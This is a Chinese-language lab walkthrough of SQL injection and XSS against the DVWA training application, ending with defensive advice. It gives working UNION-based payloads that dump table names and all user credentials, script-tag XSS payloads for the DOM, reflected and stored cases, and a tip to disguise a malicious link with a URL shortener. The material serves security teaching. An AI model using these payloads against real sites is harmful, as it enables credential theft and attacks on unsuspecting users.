一、SQL注入
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对Web服务器进行攻击的方法。
1、打开SQL Injection界面,该界面的功能是通过输入User ID查询Username。输入1提交,将正常返回查询结果。输入1’提交,将返回一个错误。
2、猜测使用的sql语句可能是:select First name and Surname from 表名 where id='输入的id'。
输入1' union select 1,database()#提交,得到数据库名称。
输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#,得到数据库中的表名。
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,得到users表的列名。
输入1' union select 1,concat(user,password) from users#,得到users表的所有用户名和密码。
SQL注入就是通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常规代码的过程
二、XSS跨站
跨站脚本攻击(Cross-site scripting,通常简称为XSS)是一种网站应用程式的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。
1、打开XSS(DOM)界面,点击Select按钮,修改地址栏中的default属性为< script>alert('XXX')< /script>,回车后命令被执行。
2、打开XSS(Reflected)界面,点击Submit,修改地址栏中的name=< script>alert('XXX')< /script>。利用在线短链接生成器(https://www.985.so/)伪造该链接,将短链接发送给小伙伴,命令被执行。
3、打开XSS(Stored)界面,在message栏中填入< script>alert('XXX')< /script>,提交后内容被存入数据库,之后每次进入该页面命令都会被执行。
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员: 过滤或转换用户提交数据中的HTML代码;限制用户提交数据的长度。
用户: 不要轻易访问别人给你的链接; 禁止浏览器运行JavaScript和ActiveX代码。